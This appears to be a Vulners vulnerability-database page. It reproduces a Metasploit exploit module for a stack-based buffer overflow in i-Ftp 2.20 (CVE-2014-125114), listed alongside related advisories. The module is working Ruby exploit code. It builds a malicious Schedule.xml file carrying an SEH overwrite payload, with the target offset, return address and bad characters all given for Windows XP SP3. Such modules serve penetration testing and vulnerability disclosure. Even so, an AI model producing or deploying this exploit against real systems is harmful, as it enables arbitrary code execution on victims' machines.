Lucene search
+L

i-FTP Schedule Buffer Overflow

🗓️ 06 Nov 2014 00:00:00Reported by metacom, Gabor SeljanType 
metasploit
 metasploit
🔗 www.rapid7.com👁 12 Views

i-FTP Schedule Buffer Overflow vulnerability in i-Ftp v2.20. Remote attacker could execute arbitrary code or cause application to crash.

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2014-125114
29 May 201815:50
circl
cnnvd
CNNVD
Pablo Software Solutions i-Ftp 安全漏洞
25 Jul 202500:00
cnnvd
cve
CVE
CVE-2014-125114
25 Jul 202515:52
cve
cvelist
Cvelist
CVE-2014-125114 i-Ftp 2.20 Schedule.xml Stack-Based Buffer Overflow
25 Jul 202515:52
cvelist
euvd
EUVD
EUVD-2014-9807
7 Oct 202500:30
euvd
nvd
NVD
CVE-2014-125114
25 Jul 202516:15
nvd
ptsecurity
Positive Technologies
PT-2025-31205 · Undefined · Undefined
25 Jul 202500:00
ptsecurity
redhatcve
RedhatCVE
CVE-2014-125114
27 Jul 202516:14
redhatcve
vulnrichment
Vulnrichment
CVE-2014-125114 i-Ftp 2.20 Schedule.xml Stack-Based Buffer Overflow
25 Jul 202515:52
vulnrichment
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rexml/document'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh
  include REXML

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'i-FTP Schedule Buffer Overflow',
        'Description' => %q{
          This module exploits a stack-based buffer overflow vulnerability in
          i-Ftp v2.20, caused by a long time value set for scheduled download.

          By persuading the victim to place a specially-crafted Schedule.xml file
          in the i-FTP folder, a remote attacker could execute arbitrary code on
          the system or cause the application to crash. This module has been
          tested successfully on Windows XP SP3.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'metacom', # Vulnerability discovery and PoC
          'Gabor Seljan' # Metasploit module
        ],
        'References' => [
          [ 'CVE', '2014-125114' ],
          [ 'EDB', '35177' ],
          [ 'OSVDB', '114279' ],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'thread'
        },
        'Platform' => 'win',
        'Payload' => {
          'BadChars' => "\x00\x0a\x0d\x20\x22",
          'Space' => 2000
        },
        'Targets' => [
          [
            'Windows XP SP3',
            {
              'Offset' => 600,
              'Ret' => 0x1001eade # POP ECX # POP ECX # RET [Lgi.dll]
            }
          ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2014-11-06',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'Schedule.xml'])
      ],
      self.class
    )
  end

  def exploit
    evil = rand_text_alpha(target['Offset'])
    evil << generate_seh_payload(target.ret)
    evil << rand_text_alpha(20000)

    xml = Document.new
    xml << XMLDecl.new('1.0', 'UTF-8')
    xml.add_element('Schedule', {})
    xml.elements[1].add_element(
      'Event',
      {
        'Url' => '',
        'Time' => 'EVIL',
        'Folder' => ''
      }
    )

    sploit = ''
    xml.write(sploit, 2)
    sploit = sploit.gsub(/EVIL/, evil)

    # Create the file
    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(sploit)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation